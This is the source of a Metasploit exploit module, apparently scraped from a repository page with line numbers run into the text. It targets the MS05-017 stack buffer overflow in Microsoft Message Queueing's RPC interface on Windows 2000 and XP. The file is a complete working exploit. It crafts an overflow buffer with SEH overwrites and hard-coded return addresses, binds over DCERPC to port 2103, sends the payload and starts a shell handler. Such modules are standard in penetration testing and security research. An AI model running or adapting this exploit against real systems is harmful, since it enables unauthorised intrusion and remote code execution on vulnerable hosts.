Path: blob/master/modules/exploits/windows/dcerpc/ms05_017_msmq.rb
32939 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::DCERPC9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'MS05-017 Microsoft Message Queueing Service Path Overflow',16'Description' => %q{17This module exploits a stack buffer overflow in the RPC interface18to the Microsoft Message Queueing service. The offset to the19return address changes based on the length of the system20hostname, so this must be provided via the 'HNAME' option.21Much thanks to snort.org and Jean-Baptiste Marchand's22excellent MSRPC website.23},24'Author' => [ 'hdm' ],25'License' => MSF_LICENSE,26'References' => [27[ 'CVE', '2005-0059'],28[ 'OSVDB', '15458'],29[ 'MSB', 'MS05-017'],30[ 'BID', '13112'],31],32'Privileged' => true,33'Payload' => {34'Space' => 1024,35'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e\xff",36'StackAdjustment' => -35003738},39'Targets' => [40[41'Windows 2000 ALL / Windows XP SP0-SP1 (English)',42{43'Platform' => 'win',44'Rets' => [ 0x004014e9, 0x01001209 ] # mqsvc.exe45},46],47],48'DisclosureDate' => '2005-04-12',49'DefaultTarget' => 0,50'Notes' => {51'Reliability' => UNKNOWN_RELIABILITY,52'Stability' => UNKNOWN_STABILITY,53'SideEffects' => UNKNOWN_SIDE_EFFECTS54}55)56)5758# Change the default port values to point at MSMQ59register_options(60[61Opt::RPORT(2103),62OptString.new('HNAME', [ true, 'The NetBIOS hostname of the target' ]),63]64)65end6667def autofilter68# Common vulnerability scanning tools report port 445/13969# due to how they test for the vulnerability. Remap this70# back to 2103 for automated exploitation7172rport = datastore['RPORT'].to_i73if (rport == 445 or rport == 139)74datastore['RPORT'] = 210375end7677# The NetBIOS hostname is required to exploit this bug reliably.78if (!(datastore['HNAME']))79# XXX automatically determine the hostname80return false81end8283true84end8586def exploit87# MSMQ supports three forms of queue names, the two we can use are88# the IP address and the hostname. If we use the IP address via the89# TCP: format, the offset to the SEH frame will change depending on90# the length of the real hostname. For this reason, we force the user91# to supply us with the actual hostname.9293# Formats: DIRECT=TCP:IPAddress\QueueName DIRECT=OS:ComputerName\QueueName9495queue_name = "OS:#{datastore['HNAME']}"96queue_hlen = datastore['HNAME'].length * 297queue_path = unicode(queue_name + '\\PRIVATE$\\')9899buf = rand_text_english(4000, payload_badchars)100101# Windows 2000 SEH offset goes first102buf[372 - queue_hlen + 0, 4] = [ target['Rets'][0] ].pack('V')103buf[372 - queue_hlen - 4, 2] = "\xeb\x22"104105# Windows XP SEH offset goes second106seh = generate_seh_payload(target['Rets'][1])107buf[400 - queue_hlen - 4, seh.length] = seh108109# Append the path to the location and null terminate it110queue_path << buf << "\x00\x00"111112# Get the unicode length of this string113queue_path.length114115connect116print_status("Trying target #{target.name}...")117118handle = dcerpc_handle('fdb3a030-065f-11d1-bb9b-00a024ea5525', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])119print_status("Binding to #{handle} ...")120dcerpc_bind(handle)121print_status("Bound to #{handle} ...")122123stubdata =124NDR.long(1) +125NDR.long(1) +126NDR.long(1) +127NDR.long(3) +128NDR.long(3) +129NDR.long(2) +130NDR.UnicodeConformantVaryingStringPreBuilt(queue_path)131132print_status('Sending exploit ...')133134dcerpc.call(9, stubdata)135136if (!dcerpc.last_response.nil? and !dcerpc.last_response.stub_data.nil?)137case dcerpc.last_response.stub_data138when "\x20\x00\x0e\xc0"139print_status('The server rejected our request, the HNAME parameter could be incorrect')140when "\x1e\x00\x0e\xc0"141print_status('The server does not appear to be exploitable')142else143print_status('An unknown response was received from the server:')144print_status('>> ' + dcerpc.last_response.stub_data.unpack('H*')[0])145end146end147148handler149disconnect150end151end152153154